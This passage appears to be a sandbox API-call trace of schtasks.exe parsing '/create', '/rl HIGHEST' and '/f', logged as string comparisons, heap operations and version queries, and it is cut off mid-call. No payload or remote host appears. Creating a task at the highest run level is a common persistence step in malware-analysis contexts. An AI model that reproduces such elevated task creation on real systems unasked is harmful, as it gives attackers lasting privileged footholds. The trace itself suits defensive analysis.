_BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|run|") returned 5 [0156.400] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.400] lstrlenW (lpString="|run|") returned 5 [0156.400] lstrlenW (lpString="|rl|") returned 4 [0156.400] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0156.400] SetLastError (dwErrCode=0x490) [0156.400] lstrlenW (lpString="end") returned 3 [0156.400] lstrlenW (lpString="end") returned 3 [0156.400] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.400] lstrlenW (lpString="rl") returned 2 [0156.400] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.400] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|end|") returned 5 [0156.400] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.400] lstrlenW (lpString="|end|") returned 5 [0156.400] lstrlenW (lpString="|rl|") returned 4 [0156.400] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0156.400] SetLastError (dwErrCode=0x490) [0156.400] lstrlenW (lpString="showsid") returned 7 [0156.400] lstrlenW (lpString="showsid") returned 7 [0156.400] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.400] lstrlenW (lpString="rl") returned 2 [0156.400] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.400] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|showsid|") returned 9 [0156.400] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.401] lstrlenW (lpString="|showsid|") returned 9 [0156.401] lstrlenW (lpString="|rl|") returned 4 [0156.401] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0156.401] SetLastError (dwErrCode=0x490) [0156.401] SetLastError (dwErrCode=0x490) [0156.401] SetLastError (dwErrCode=0x0) [0156.401] lstrlenW (lpString="/rl") returned 3 [0156.401] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0156.401] SetLastError (dwErrCode=0x490) [0156.401] SetLastError (dwErrCode=0x0) [0156.401] lstrlenW (lpString="/rl") returned 3 [0156.401] GetProcessHeap () returned 0x300000 [0156.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x8) returned 0x31ddd0 [0156.401] GetProcessHeap () returned 0x300000 [0156.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cd50 [0156.401] SetLastError (dwErrCode=0x0) [0156.401] SetLastError (dwErrCode=0x0) [0156.401] lstrlenW (lpString="HIGHEST") returned 7 [0156.401] lstrlenW (lpString="-/") returned 2 [0156.401] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0156.401] SetLastError (dwErrCode=0x490) [0156.401] SetLastError (dwErrCode=0x490) [0156.401] SetLastError (dwErrCode=0x0) [0156.401] lstrlenW (lpString="HIGHEST") returned 7 [0156.401] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0156.401] SetLastError (dwErrCode=0x490) [0156.401] SetLastError (dwErrCode=0x0) [0156.401] lstrlenW (lpString="HIGHEST") returned 7 [0156.401] GetProcessHeap () returned 0x300000 [0156.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x10) returned 0x31d560 [0156.401] GetProcessHeap () returned 0x300000 [0156.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cd80 [0156.402] SetLastError (dwErrCode=0x0) [0156.402] SetLastError (dwErrCode=0x0) [0156.402] lstrlenW (lpString="/f") returned 2 [0156.402] lstrlenW (lpString="-/") returned 2 [0156.402] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.402] lstrlenW (lpString="?") returned 1 [0156.402] lstrlenW (lpString="?") returned 1 [0156.402] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.402] lstrlenW (lpString="f") returned 1 [0156.402] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.402] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|?|") returned 3 [0156.402] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.402] lstrlenW (lpString="|?|") returned 3 [0156.402] lstrlenW (lpString="|f|") returned 3 [0156.402] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0156.402] SetLastError (dwErrCode=0x490) [0156.402] lstrlenW (lpString="create") returned 6 [0156.402] lstrlenW (lpString="create") returned 6 [0156.402] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.402] lstrlenW (lpString="f") returned 1 [0156.402] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.402] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.402] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.402] lstrlenW (lpString="|create|") returned 8 [0156.402] lstrlenW (lpString="|f|") returned 3 [0156.403] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0156.403] SetLastError (dwErrCode=0x490) [0156.403] lstrlenW (lpString="delete") returned 6 [0156.403] lstrlenW (lpString="delete") returned 6 [0156.403] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.403] lstrlenW (lpString="f") returned 1 [0156.403] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.403] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|delete|") returned 8 [0156.403] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.403] lstrlenW (lpString="|delete|") returned 8 [0156.403] lstrlenW (lpString="|f|") returned 3 [0156.403] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0156.403] SetLastError (dwErrCode=0x490) [0156.403] lstrlenW (lpString="query") returned 5 [0156.403] lstrlenW (lpString="query") returned 5 [0156.403] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.403] lstrlenW (lpString="f") returned 1 [0156.403] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.403] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|query|") returned 7 [0156.403] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.403] lstrlenW (lpString="|query|") returned 7 [0156.403] lstrlenW (lpString="|f|") returned 3 [0156.403] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0156.403] SetLastError (dwErrCode=0x490) [0156.403] lstrlenW (lpString="change") returned 6 [0156.404] lstrlenW (lpString="change") returned 6 [0156.404] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.404] lstrlenW (lpString="f") returned 1 [0156.404] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.404] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|change|") returned 8 [0156.404] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.404] lstrlenW (lpString="|change|") returned 8 [0156.404] lstrlenW (lpString="|f|") returned 3 [0156.404] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0156.404] SetLastError (dwErrCode=0x490) [0156.404] lstrlenW (lpString="run") returned 3 [0156.404] lstrlenW (lpString="run") returned 3 [0156.404] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.404] lstrlenW (lpString="f") returned 1 [0156.404] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.404] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|run|") returned 5 [0156.404] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.404] lstrlenW (lpString="|run|") returned 5 [0156.404] lstrlenW (lpString="|f|") returned 3 [0156.404] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0156.404] SetLastError (dwErrCode=0x490) [0156.404] lstrlenW (lpString="end") returned 3 [0156.404] lstrlenW (lpString="end") returned 3 [0156.404] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.405] lstrlenW (lpString="f") returned 1 [0156.405] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.405] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|end|") returned 5 [0156.405] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.405] lstrlenW (lpString="|end|") returned 5 [0156.405] lstrlenW (lpString="|f|") returned 3 [0156.405] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0156.405] SetLastError (dwErrCode=0x490) [0156.405] lstrlenW (lpString="showsid") returned 7 [0156.405] lstrlenW (lpString="showsid") returned 7 [0156.405] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.405] lstrlenW (lpString="f") returned 1 [0156.405] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.405] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|showsid|") returned 9 [0156.405] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|f|") returned 3 [0156.405] lstrlenW (lpString="|showsid|") returned 9 [0156.405] lstrlenW (lpString="|f|") returned 3 [0156.405] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0156.405] SetLastError (dwErrCode=0x490) [0156.405] SetLastError (dwErrCode=0x490) [0156.405] SetLastError (dwErrCode=0x0) [0156.405] lstrlenW (lpString="/f") returned 2 [0156.405] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0156.405] SetLastError (dwErrCode=0x490) [0156.405] SetLastError (dwErrCode=0x0) [0156.406] lstrlenW (lpString="/f") returned 2 [0156.406] GetProcessHeap () returned 0x300000 [0156.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x6) returned 0x31ddf0 [0156.406] GetProcessHeap () returned 0x300000 [0156.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cdb0 [0156.406] SetLastError (dwErrCode=0x0) [0156.406] GetProcessHeap () returned 0x300000 [0156.406] GetProcessHeap () returned 0x300000 [0156.406] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1c0) returned 1 [0156.406] GetProcessHeap () returned 0x300000 [0156.406] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31c1c0) returned 0x8 [0156.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1c0 | out: hHeap=0x300000) returned 1 [0156.406] GetProcessHeap () returned 0x300000 [0156.406] GetProcessHeap () returned 0x300000 [0156.406] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cbd0) returned 1 [0156.406] GetProcessHeap () returned 0x300000 [0156.406] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cbd0) returned 0x20 [0156.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cbd0 | out: hHeap=0x300000) returned 1 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4c0) returned 1 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d4c0) returned 0xc [0156.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4c0 | out: hHeap=0x300000) returned 1 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc00) returned 1 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cc00) returned 0x20 [0156.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc00 | out: hHeap=0x300000) returned 1 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dc90) returned 1 [0156.407] GetProcessHeap () returned 0x300000 [0156.407] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dc90) returned 0x8 [0156.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dc90 | out: hHeap=0x300000) returned 1 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc30) returned 1 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cc30) returned 0x20 [0156.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc30 | out: hHeap=0x300000) returned 1 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4e0) returned 1 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d4e0) returned 0xe [0156.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d4e0 | out: hHeap=0x300000) returned 1 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc60) returned 1 [0156.408] GetProcessHeap () returned 0x300000 [0156.408] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cc60) returned 0x20 [0156.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc60 | out: hHeap=0x300000) returned 1 [0156.409] GetProcessHeap () returned 0x300000 [0156.409] GetProcessHeap () returned 0x300000 [0156.409] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dcb0) returned 1 [0156.409] GetProcessHeap () returned 0x300000 [0156.409] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dcb0) returned 0x8 [0156.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dcb0 | out: hHeap=0x300000) returned 1 [0156.409] GetProcessHeap () returned 0x300000 [0156.409] GetProcessHeap () returned 0x300000 [0156.409] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc90) returned 1 [0156.409] GetProcessHeap () returned 0x300000 [0156.409] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cc90) returned 0x20 [0156.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc90 | out: hHeap=0x300000) returned 1 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dcd0) returned 1 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dcd0) returned 0x6 [0156.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dcd0 | out: hHeap=0x300000) returned 1 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccc0) returned 1 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ccc0) returned 0x20 [0156.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccc0 | out: hHeap=0x300000) returned 1 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dcf0) returned 1 [0156.410] GetProcessHeap () returned 0x300000 [0156.410] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dcf0) returned 0x8 [0156.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dcf0 | out: hHeap=0x300000) returned 1 [0156.410] GetProcessHeap () returned 0x300000 [0156.411] GetProcessHeap () returned 0x300000 [0156.411] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccf0) returned 1 [0156.411] GetProcessHeap () returned 0x300000 [0156.411] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ccf0) returned 0x20 [0156.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccf0 | out: hHeap=0x300000) returned 1 [0156.411] GetProcessHeap () returned 0x300000 [0156.411] GetProcessHeap () returned 0x300000 [0156.411] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dd70) returned 1 [0156.411] GetProcessHeap () returned 0x300000 [0156.411] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dd70) returned 0x54 [0156.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dd70 | out: hHeap=0x300000) returned 1 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd20) returned 1 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cd20) returned 0x20 [0156.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd20 | out: hHeap=0x300000) returned 1 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ddd0) returned 1 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ddd0) returned 0x8 [0156.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ddd0 | out: hHeap=0x300000) returned 1 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] GetProcessHeap () returned 0x300000 [0156.412] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd50) returned 1 [0156.413] GetProcessHeap () returned 0x300000 [0156.413] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cd50) returned 0x20 [0156.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd50 | out: hHeap=0x300000) returned 1 [0156.413] GetProcessHeap () returned 0x300000 [0156.413] GetProcessHeap () returned 0x300000 [0156.413] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d560) returned 1 [0156.413] GetProcessHeap () returned 0x300000 [0156.413] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d560) returned 0x10 [0156.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d560 | out: hHeap=0x300000) returned 1 [0156.415] GetProcessHeap () returned 0x300000 [0156.415] GetProcessHeap () returned 0x300000 [0156.415] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd80) returned 1 [0156.415] GetProcessHeap () returned 0x300000 [0156.415] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cd80) returned 0x20 [0156.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd80 | out: hHeap=0x300000) returned 1 [0156.415] GetProcessHeap () returned 0x300000 [0156.415] GetProcessHeap () returned 0x300000 [0156.415] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ddf0) returned 1 [0156.415] GetProcessHeap () returned 0x300000 [0156.415] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ddf0) returned 0x6 [0156.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ddf0 | out: hHeap=0x300000) returned 1 [0156.415] GetProcessHeap () returned 0x300000 [0156.415] GetProcessHeap () returned 0x300000 [0156.416] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cdb0) returned 1 [0156.416] GetProcessHeap () returned 0x300000 [0156.416] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cdb0) returned 0x20 [0156.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cdb0 | out: hHeap=0x300000) returned 1 [0156.416] GetProcessHeap () returned 0x300000 [0156.416] GetProcessHeap () returned 0x300000 [0156.416] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31b990) returned 1 [0156.416] GetProcessHeap () returned 0x300000 [0156.416] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31b990) returned 0x18 [0156.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b990 | out: hHeap=0x300000) returned 1 [0156.417] SetLastError (dwErrCode=0x0) [0156.417] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0156.417] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0156.417] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0156.417] VerifyVersionInfoW (in: lpVersionInformation=0x25c1d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c1d0) returned 1 [0156.417] SetLastError (dwErrCode=0x0) [0156.417] lstrlenW (lpString="create") returned 6 [0156.417] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0156.417] SetLastError (dwErrCode=0x490) [0156.417] SetLastError (dwErrCode=0x0) [0156.417] lstrlenW (lpString="create") returned 6 [0156.417] GetProcessHeap () returned 0x300000 [0156.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cdb0 [0156.417] GetProcessHeap () returned 0x300000 [0156.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31d560 [0156.418] _memicmp (_Buf1=0x31d560, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.418] GetProcessHeap () returned 0x300000 [0156.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x16) returned 0x31d4e0 [0156.418] SetLastError (dwErrCode=0x0) [0156.418] _memicmp (_Buf1=0x31ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.418] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x31bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0156.418] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0156.418] GetProcessHeap () returned 0x300000 [0156.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x74e) returned 0x31dd70 [0156.418] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x31dd70 | out: lpData=0x31dd70) returned 1 [0156.419] VerQueryValueW (in: pBlock=0x31dd70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c2b8, puLen=0x25c320 | out: lplpBuffer=0x25c2b8*=0x31e10c, puLen=0x25c320) returned 1 [0156.419] _memicmp (_Buf1=0x31ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.419] _vsnwprintf (in: _Buffer=0x31bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c298 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0156.419] VerQueryValueW (in: pBlock=0x31dd70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c328, puLen=0x25c318 | out: lplpBuffer=0x25c328*=0x31df38, puLen=0x25c318) returned 1 [0156.419] lstrlenW (lpString="schtasks.exe") returned 12 [0156.419] lstrlenW (lpString="schtasks.exe") returned 12 [0156.419] lstrlenW (lpString=".EXE") returned 4 [0156.419] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0156.419] lstrlenW (lpString="schtasks.exe") returned 12 [0156.419] lstrlenW (lpString=".EXE") returned 4 [0156.419] lstrlenW (lpString="schtasks") returned 8 [0156.419] lstrlenW (lpString="/create") returned 7 [0156.419] _memicmp (_Buf1=0x31ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.419] _vsnwprintf (in: _Buffer=0x31bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c298 | out: _Buffer="schtasks /create") returned 16 [0156.419] _memicmp (_Buf1=0x31ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.419] GetProcessHeap () returned 0x300000 [0156.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cd80 [0156.419] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.419] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0156.420] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0156.420] GetProcessHeap () returned 0x300000 [0156.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x30) returned 0x317a90 [0156.420] _vsnwprintf (in: _Buffer=0x31bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c298 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0156.420] GetProcessHeap () returned 0x300000 [0156.420] GetProcessHeap () returned 0x300000 [0156.420] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31dd70) returned 1 [0156.420] GetProcessHeap () returned 0x300000 [0156.420] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31dd70) returned 0x74e [0156.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31dd70 | out: hHeap=0x300000) returned 1 [0156.420] SetLastError (dwErrCode=0x0) [0156.420] GetThreadLocale () returned 0x409 [0156.420] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.420] lstrlenW (lpString="create") returned 6 [0156.420] GetThreadLocale () returned 0x409 [0156.420] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="?") returned 1 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="s") returned 1 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="u") returned 1 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, 